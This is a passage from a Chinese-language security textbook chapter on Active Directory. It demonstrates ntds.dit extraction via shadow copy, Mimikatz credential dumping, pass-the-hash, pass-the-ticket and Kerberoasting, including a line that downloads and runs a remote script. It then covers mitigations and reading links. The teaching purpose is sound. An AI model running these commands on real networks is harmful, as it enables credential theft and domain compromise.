$ShadowCopyPath = (Get-CimInstance -ClassName Win32_ShadowCopy | Where-Object { $_.ID -eq $ShadowCopy.ShadowID }).DeviceObject + "\\"
cmd /c mklink /d C:\shadowcopy "$ShadowCopyPath"
现在,红队成员可以不受限制地访问ntds.dit文件,将其外泄,或提取哈希值进行后续的pass-the-hash攻击。在这个例子中,我们将它复制到C:\tmp文件夹中:
Copy-Item "C:\shadowcopy\Windows\NTDS\ntds.dit" -Destination "C:\tmp"
你可以看到文件已成功提取,如下图所示:
图 6.9 – 验证 ntds.dit 是否已成功提取
最后,我们删除符号链接:
(Get-Item C:\shadowcopy).Delete()
还有很多方法可以提取ntds.dit,例如以下几种:
-
使用默认内置的
ntdsutil诊断工具 -
从卷影复制服务(VSS)提取
ntds.dit——如我们在前面的例子中所做的那样 -
从离线硬盘复制
ntds.dit -
创建并恢复快照,并从中提取文件
-
从备份中提取
ntds.dit
这些只是攻击者可以提取ntds.dit数据库的几种方法。这也是为什么严格控制对域控制器备份的访问如此重要的原因,如果它们是虚拟机,则严格限制对 VM、存储和快照的访问。
要减轻这些类型的攻击,真正有帮助的唯一措施是控制访问并保持良好的凭据卫生。
如果ntds.dit文件被攻击者提取,唯一有帮助的是受控的妥协恢复并两次重设krbtgt账户的密码。
krbtgt
在ntds.dit数据库中,还有另一个重要的账户:krbtgt账户。该账户作为 KDC 的默认服务账户,执行 KDC 的必要功能和操作。该账户的 TGT 密码仅由 Kerberos 知晓。
但是如果提取了此帐户的哈希,这将使对手能够以 KDC 的身份签署票据请求并启用黄金票据。
黄金票据
在黄金票据攻击中,恶意行为者使用 Kerberos 票据来控制有效域的密钥分发服务。这使得攻击者可以访问 AD 域上的任何资源(因此得名黄金票据)。
如果攻击者控制了 AD 数据库或其备份,他们可能会生成 Kerberos TGT 或/和服务票据。
值得注意的是,具有复制所有属性权限的任何帐户(包括域管理员帐户)也可以执行此活动。此权限通常授予位于域根目录下的domainDNS对象。
在此级别授予权限可能特别危险且具有影响力,因为它可能会给攻击者在域上完全控制的能力。
通过这样做,对手可以冒充受损域中的任何用户或机器,并访问该域或任何受信任域中的所有资源。
银票据
如果对手获得了系统的管理员权限或对未加密硬盘的系统的物理控制,他们可以使用机器密码伪造 TGS 票据。
他们还可以篡改包含在票据 PAC 中的详细信息。这将使对手能够任意生成 Kerberos TGS 票据或操纵包含在 PAC 中的授权详细信息,例如将帐户的组成员身份更改为高权限帐户(如域管理员)。
横向移动
在提取哈希或票据后,攻击者尝试使用它来获取访问权限并登录到另一个系统。这个过程称为横向移动。
一旦获得对另一个系统的访问权限,一切又重新开始;对手尝试从 LSA 中提取所有现有凭据,并用它来对其他系统进行身份验证。
攻击者的目标是找到一个高度特权的身份——对攻击者而言,最理想的是域管理员或企业管理员的身份。
Pass the Hash(PtH)
正如您所学的,对于 NTLM 身份验证以及 LAN Manager 身份验证,会生成一个哈希值,使您能够进行身份验证以访问资源和登录。此哈希值存储在 LSA 中,由本地安全机构子系统服务(LSASS)进程管理,可以快速访问以实现 SSO。
如果对手从 LSA 提取了该哈希,则可以将其传递到另一个系统,用于以哈希创建的用户身份进行身份验证。
检测Pass-the-Hash攻击非常困难,因为在目标系统上,一切看起来像是一次合法的身份验证。
要从 LSA 提取哈希,执行此操作的帐户需要以管理员或系统权限运行。许多命令还需要调试权限。
有许多工具可以与 LSA 交互以提取密码哈希。最著名的之一是 Mimikatz。虽然Mimikatz.exe是由 Benjamin Delpy(gentilkiwi)编写的,但lsa模块中的 DCSync 功能是由 Vincent le Toux 编写的:github.com/gentilkiwi/mimikatz/wiki。
Joseph Bialek 编写了Invoke-Mimikatz.ps1脚本,使得所有mimikatz功能都可以通过 PowerShell 使用。Invoke-Mimikatz是 PowerSploit 模块的一部分,可以在 GitHub 上下载:github.com/PowerShellMafia/PowerSploit。
尽管该模块不再受支持,但它仍包含许多有价值的脚本,可用于通过 PowerShell 进行渗透测试。
要安装 PowerSploit,只需下载该模块并将其粘贴到以下路径下:$Env:windir\System32\WindowsPowerShell\v1.0\Modules(在常规系统上通常是C:\Windows\System32\WindowsPowerShell\v1.0\Modules)。当您下载 PowerSploit 的.zip文件时,该文件名为PowerSploit-master,因此您需要在将其粘贴到模块路径前将文件夹重命名为PowerSploit:C:\Windows\System32\WindowsPowerShell\v1.0\Modules\PowerSploit。
使用Import-Module PowerSploit将其导入到当前会话中。请注意,它只能在 Windows PowerShell 中导入,并在 PowerShell Core 中抛出错误。
递归解锁模块
如果您的执行策略设置为RemoteSigned,则禁止执行远程脚本,以及执行从互联网下载的脚本或导入模块。要递归解锁PowerSploit模块文件夹中的所有文件,请运行以下命令:
Get-ChildItem -Path "$Env:windir\System32\WindowsPowerShell\v1.0\Modules\PowerSploit\" -Recurse |** **Unblock-File
一旦成功导入 PowerSploit,你可以使用 Invoke-Mimikatz 来转储本地计算机上的凭证:
> Invoke-Mimikatz -DumpCreds
使用 -ComputerName 参数,你可以指定一个或多个远程计算机:
> Invoke-Mimikatz -DumpCreds -ComputerName "PSSec-PC01"
> Invoke-Mimikatz -DumpCreds -ComputerName @(PSSec-PC01, PSSec-PC02)
你还可以使用 Invoke-Mimikatz 来运行通常也可以在 Mimikatz 二进制文件中使用的命令,例如在远程计算机上提升权限:
> Invoke-Mimikatz -Command "privilege::debug exit" -ComputerName "PSSec-PC01"
通常情况下,所有在普通二进制版本的 mimikatz.exe 中可以执行的命令,都可以在 PowerShell 版本中使用 -Command 参数执行。
由于 Invoke-Mimikatz cmdlet 仅在 Windows PowerShell 中有效,而在 PowerShell 7 及更高版本中无效,并且存在更多限制(例如,它只能从当前会话中提取凭证),我们将在演示中切换到 Mimikatz 的二进制版本。
下载二进制文件或从源代码构建后,进入 mimikatz.exe 文件所在的目录,并通过键入以下命令执行:
> .\mimikatz.exe
这将加载 Mimikatz,允许你输入命令以执行其各种功能:
> log
> privilege::debug
> sekurlsa::logonpasswords
Mimikatz log 命令启用或禁用 Mimikatz 日志。默认情况下,日志记录是禁用的。当启用日志时,Mimikatz 会将其输出写入日志文件。如果没有指定日志文件(如本示例所示),则会将 mimikatz.log 写入 Mimikatz 被调用的文件夹中。
privilege::debug 命令为当前进程启用调试权限,这是访问系统上某些敏感信息所必需的。sekurlsa::logonpasswords 命令用于检索当前在内存中存储的、活跃登录会话的明文密码。
接下来,打开 mimikatz.log 文件并搜索你感兴趣的哈希值。在我们的例子中,我们正在寻找 PSSec 域的域管理员密码:
图 6.10 – 提取域管理员的 NTLM 哈希
复制 NTLM 哈希并按照以下示例的方式使用它,加载一个已经加载域管理员凭证的 cmd 控制台:
> Sekurlsa::pth /user:administrator /domain:PSSec /ntlm:7dfa0531d73101ca080c7379a9bff1c7
会打开一个 cmd 控制台,其中已加载域管理员的凭证,可以用于远程系统认证:
图 6.11 – 执行 pass-the-hash 攻击
在此示例中,我们使用 PSExec 来认证到域控制器 DC01,其 IP 地址为 172.29.0.10。如果配置允许从这台特定的计算机连接,也可以使用 PowerShell 会话,在其中提供 IP 地址而非 DNS 名称。不过,PSExec 不依赖于 PowerShell 会话配置和其他限制,因此攻击者通常会使用它。
Pass the ticket (PtT)
除了 LM 或 NTLM 哈希,票据还存储在 LSA 中以实现单点登录(SSO)。
你可以使用 Mimikatz 导出会话中所有可用的票据,方法如下:
kerberos::list /export
票据成功导出后,你可以在当前工作文件夹中找到所有导出的票据文件。要进行 PtT 攻击,你现在需要寻找一个最适合你目的的票据。在我们的案例中,我们要找一个由 krbtgt 为域管理员签发的票据;因此,我们选择包含 administrator 和 krbtgt 字样的文件名中的一个票据,如下图所示:
图 6.12 – 导出的域管理员票据
现在,我们可以通过以下命令将其中一个票据加载到我们的会话中:
> kerberos::ptt [0;2856bf]-2-0-40e10000-administrator@krbtgt-PSSEC.LOCAL.kirbi
> misc::cmd
misc::cmd 命令允许你打开一个 cmd 命令行,你可以在这里继续进行其他操作。
Kerberoasting 攻击
Kerberoasting 是一种攻击方式,涉及利用 Kerberos 认证协议中的漏洞。在这种攻击中,攻击者可以从使用 Kerberos 认证的服务账户中提取密码哈希,并利用这些哈希尝试离线破解密码。一旦攻击者成功破解密码,他们可以使用该密码获得对其他系统和敏感数据的未授权访问。
为了执行 Kerberoasting 攻击,攻击者通常从识别使用 Kerberos 认证的服务账户开始。这些账户通常有与之关联的 SPN。Tim Medin 写了一个脚本,可以帮助你识别具有 SPN 的账户,你可以从 GitHub 下载并执行该脚本:
> Invoke-Expression (Invoke-WebRequest -UseBasicParsing "https://raw.githubusercontent.com/nidem/kerberoast/master/GetUserSPNs.ps1")
以下截图展示了我们如何运行该脚本并找到具有设置 SPN 的 IIS-User 账户:
图 6.13 – 使用 SPN 获取账户
攻击者随后从 Kerberos 认证服务请求服务账户的 TGT,如下所示:
> Add-Type -AssemblyName System.IdentityModel
> New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList IIS-User/server.PSSec.local:80
一旦攻击者获得了服务票据,他们可以使用 Mimikatz 或类似工具提取票据的加密哈希。使用 Mimikatz,你可以通过 kerberos::list /****export 命令提取票据。
所有可用的票据将被提取到你运行 mimikatz.exe 的文件夹中,并带有 .kirbi 文件扩展名。
在攻击者尝试从票据哈希中破解密码之前,需要先进行转换。EmpireProject 中的 Invoke-Kerberoast.ps1 脚本提供了一个非常方便的方法来实现这一点。该脚本可以从 github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/Invoke-Kerberoast.ps1 下载。
使用以下命令将提取的票据转换为 .****csv 文件:
> Import-Module .\Invoke-Kerberoast.ps1
> Invoke-Kerberoast -Format Hashcat | Select-Object Hash | ConvertTo-Csv -NoTypeInformation | Out-File kerberoast-hashes.csv
攻击者随后可以使用离线密码破解工具,如Hashcat,结合密码列表来尝试破解哈希值并恢复密码。如果成功,攻击者就可以利用被破解的密码,未经授权地访问其他系统和敏感数据。
影子凭证攻击
影子凭证攻击是一种攻击技术,可能导致 AD 环境中域控制器的被攻破。它涉及创建一个“影子”域账户,该账户与特权用户账户具有相同的密码,可以用来冒充特权用户并执行敏感操作。
影子凭证攻击是一种复杂的技术,要求攻击者满足多个先决条件,以便在 AD 环境中破坏域控制器。首先,攻击只能在运行 Windows Server 2016 或更高版本的域控制器上执行。此外,域必须配置了 Active Directory 证书服务和证书颁发机构,以获得进行 PKINIT Kerberos 身份验证所需的证书。PKINIT 允许使用基于证书的身份验证,而非用户名和密码,这是攻击成功的关键。最后,攻击者必须拥有一个被委派的权限,能够写入目标对象的msDS-KeyCredentialLink 属性。该属性将 RSA 密钥对与计算机或用户对象关联,使得能够使用该密钥对进行身份验证,接收来自 KDC 的 Kerberos TGT。
要执行此攻击,必须将密钥凭证添加到目标用户或计算机对象的msDS-KeyCredentialLink 属性中。通过这些凭证,攻击者可以利用 PKINIT 进行 Kerberos 身份验证,作为目标账户获得 TGT,并通过预身份验证验证私钥匹配。
请注意,计算机对象能够修改其自身的msDS-KeyCredentialLink 属性,但只有在该属性不存在时,才能添加KeyCredential。然而,用户对象无法编辑其自身的msDS-KeyCredentialLink 属性。
msDS-KeyCredentialLink 属性提供的链接过程使用户能够通过 RSA 密钥对进行身份验证,接收来自 KDC 的 TGT,而无需提供用户名和密码。
这一技术对于特权提升(如密码重置)同样有效,但它是一种更为隐蔽的方法,组织更难以检测到。
欲了解更多关于影子凭证攻击的信息,请参考以下博客文章:posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab。
现在我们已经了解了各种 AD 攻击向量,你可能会问自己,怎样才能减少暴露风险。AD 非常庞大,但仍然有一些措施是你可以采取的。
缓解措施
一般建议是小心哪些帐户被允许登录到哪些机器,并保护你的特权帐户。为了缓解这类攻击,控制访问权限并保持良好的凭证管理是至关重要的。
枚举是获取有关环境更多信息的过程,因此完全缓解枚举是不可行的。但你可以通过使对手更难找到有价值的目标来增加难度。在攻击者利用已发现的漏洞之前,通过使用最小权限原则枚举你的 AD 权限并调整特权。同时,使用微软基准配置将你的配置与官方推荐进行比较。在下一节中,我们将详细了解微软基准配置。
遵循良好的安全实践非常重要,比如限制服务帐户的使用、实施强密码策略,并定期监控和审计身份验证日志中的可疑活动。此外,网络分段和访问控制可以通过将关键系统和数据与潜在攻击者隔离来帮助限制成功凭证窃取攻击的影响。
通过实施适当的审计,你可以获得更多有关你环境中发生的事情的洞察(详细信息请参见 第四章,检测 - 审计与监控)。
仅使用事件 ID 来构建适当的审计是困难的,并且无法帮助你检测所有攻击。例如,仅使用事件 ID,无法检测到传递哈希攻击:在事件日志中,这种攻击看起来就像是目标机器上的合法身份验证。
因此,许多供应商已经开始分析系统之间的流,以便为诸如传递哈希(PtH)或传递票证(PtT)等攻击提供有效的检测。例如,微软的解决方案是 Microsoft Defender for Identity,它专注于与身份相关的攻击,并且是 Microsoft 365 Defender 的一部分。
请参阅详细的传递哈希(PtH)白皮书,了解有关 PtH 攻击的更多信息以及如何缓解它:www.microsoft.com/en-us/download/details.aspx?id=36036。
如果ntds.dit文件被攻击者提取,唯一有用的方法是进行受控的泄露恢复,并且两次重置krbtgt帐户以及其他域/森林管理员帐户的密码。在此恢复过程中,请确保监视可疑活动,以确保krbtgt帐户(以及其他管理帐户)仍然仅在你的控制之下。
制定适合你环境的特权访问策略。这可能是一个复杂且具有挑战性的过程,直到有效实施,但它是保护网络的关键步骤。
请参考以下指南以启动您的特权访问策略:learn.microsoft.com/en-us/security/privileged-access-workstations/privileged-access-access-model。
此外,管理员在使用环境中的高权限账户时,应使用特权访问工作站(PAWs)。PAWs 是专门用于行政任务和管理高度特权账户的工作站。通过限制访问互联网、电子邮件和其他可能存在漏洞的应用程序,它们为特权活动提供了安全的环境。通过使用 PAW,管理员可以帮助减少特权账户被攻击者危害和横向移动的风险。
微软基线和安全合规工具包
为了帮助加强组织环境的安全性,微软发布了安全合规工具包。可以从www.microsoft.com/en-us/download/details.aspx?id=55319下载安全合规工具包。
该工具包包含以下内容:
-
策略分析器:一个用于评估和比较组策略的工具。
-
LGPO.exe:一个用于分析本地策略的工具。 -
SetObjectSecurity.exe:用于配置几乎所有 Windows 安全对象的安全描述符的工具。 -
每个最新操作系统的基线:这些基线包含监控以及配置建议。
如果打开各个基线的相应GP 报告文件夹,您可以找到所有安全基线 GPO 的概览:
图 6.14 – 单一基线的所有 GPO 概览
所有安全基线都是为了不同的配置目的而创建的。每个基线中最重要的一些重复配置目的如下:
-
域控制器:这是针对域控制器以及用于管理域控制器和其他 Tier 0 资产的 PAWs 的硬化建议。
-
域安全:该基线包含如何配置一般域设置(如密码策略或账户登录超时和锁定)的最佳实践。
-
成员服务器:这是针对成员服务器以及用于管理成员服务器和其他 Tier 1 资产的 PAWs 的硬化建议。
-
计算机:这是针对所有客户端设备以及 Tier 2 中的终端服务器的硬化建议。
-
用户:这是针对 Tier 2 用户的用户级别硬化建议。
还有其他基线,例如如何配置 BitLocker、凭证保护(Credential Guard)和 Defender Antivirus 的建议,以及如何配置启用了基于虚拟化的安全性的域控制器的建议。
根据你的使用案例选择适合每个操作系统的基线。
你知道吗?
GPO 基线和 Intune 基线由同一团队创建,并且它们是相同的。
总结
在本章中,你学习了一些 AD 安全的基础知识。由于 AD 是一个庞大的主题,足以填满一本书,我们集中讨论了从凭证窃取和访问权限角度的 AD 安全。
你已经学会了如何实现一些基本的审计检查,并且知道哪些开源工具可以帮助你枚举 AD。
现在你已经了解了哪些帐户和组在 AD 中具有特权,并且在委派访问权限时要非常小心。仅仅部署默认配置的 AD 是不够的;你还需要加强其安全性。
最后,我们深入探讨了 AD 中使用的身份验证协议,并探索了它们如何被滥用。
我们还讨论了一些缓解措施,但请确保同时参考第十三章中的建议,“其他措施 – 进一步的缓解和资源”。
但当我们谈论 AD 时,AAD(或者未来可能称为:Entra ID)是无法忽视的。虽然这两个服务都是非常优秀的身份提供者,但理解它们之间的差异非常重要,这也是我们将在下一章讨论的内容。
有一点我可以提前告诉你:不,Azure Active Directory 并不是“只是云中的 Active Directory”。
进一步阅读
如果你想更深入地了解本章提到的某些主题,请查看以下资源:
访问权限:
-
Get-Acl:
docs.microsoft.com/en-us/powershell/module/microsoft.powershell.security/get-acl -
Set-Acl:
docs.microsoft.com/en-us/powershell/module/microsoft.powershell.security/set-acl -
DS-Replication-Get-Changes-All 扩展权限:
learn.microsoft.com/en-us/windows/win32/adschema/r-ds-replication-get-changes-all
与 Active Directory 相关的 PowerShell 模块(属于 RSAT 工具):
-
ActiveDirectory 模块:
docs.microsoft.com/en-us/powershell/module/activedirectory -
GroupPolicy 模块:
docs.microsoft.com/en-us/powershell/module/grouppolicy/
与 Active Directory 相关的开源 攻击者工具:
-
PowerSploit:
github.com/PowerShellMafia/PowerSploit -
PowerView:
github.com/PowerShellMafia/PowerSploit/tree/master/Recon -
Mimikatz:
github.com/gentilkiwi/mimikatz/wiki -
Kerberoast 工具:
github.com/nidem/kerberoast
身份验证:
-
停止使用 LAN Manager 和 NTLMv1!:
miriamxyra.com/2017/11/08/stop-using-lan-manager-and-ntlmv1/ -
在 PowerShell 远程执行中进行第二跳:
docs.microsoft.com/en-us/powershell/scripting/learn/remoting/ps-remoting-second-hop
期望 状态配置:
-
Windows PowerShell 期望状态配置概述:
learn.microsoft.com/en-us/powershell/dsc/overview/decisionmaker?view=dsc-1.1 -
开始使用 Azure 自动化状态配置:
docs.microsoft.com/en-us/azure/automation/automation-dsc-getting-started -
快速入门:将组策略转换为 DSC:
docs.microsoft.com/en-us/powershell/scripting/dsc/quickstarts/gpo-quickstart
枚举:
- 使用 Active Directory PowerShell 模块收集 AD 数据:
adsecurity.org/?p=3719
林信任:
- 如何在 Azure Active Directory 域服务中为资源森林工作设置信任关系:
learn.microsoft.com/en-us/azure/active-directory-domain-services/concepts-forest-trust
将数据导入 Excel 和 PowerPivot:
-
导入或导出文本(
.txt或 .csv)文件:support.microsoft.com/en-us/office/import-or-export-text-txt-or-csv-files-5250ac4c-663c-47ce-937b-339e391393ba -
教程:将数据导入 Excel,并创建数据模型:
support.microsoft.com/en-us/office/tutorial-import-data-into-excel-and-create-a-data-model-4b4e5ab4-60ee-465e-8195-09ebba060bf0 -
创建数据透视表以分析工作表数据:
support.microsoft.com/en-gb/office/create-a-pivottable-to-analyze-worksheet-data-a9a84538-bfe9-40a9-a8e9-f99134456576
缓解措施:
- Microsoft 安全合规工具包 1.0:
www.microsoft.com/en-us/download/details.aspx?id=55319
特权账户 和组:
- 附录 B:Active Directory 中的特权帐户和组:
learn.microsoft.com/en-us/windows-server/identity/ad-ds/plan/security-best-practices/appendix-b--privileged-accounts-and-groups-in-active-directory
安全标识符:
-
Windows 操作系统中的知名安全标识符:
learn.microsoft.com/en-us/windows-server/identity/ad-ds/manage/understand-security-identifiers -
知名 SID:
docs.microsoft.com/en-us/windows/win32/secauthz/well-known-sids
用户 权限分配:
-
Secedit: [
docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-xp/bb490997(v=technet.10)](docs.microsoft.com/en-us/previ…
)
xkcd** 密码强度**:
- 密码强度:
xkcd.com/936/
你还可以在 GitHub 仓库中找到本章提到的所有链接,链接在第六章中,无需手动输入每个链接:github.com/PacktPublishing/PowerShell-Automation-and-Scripting-for-Cybersecurity/blob/master/Chapter06/Links.md。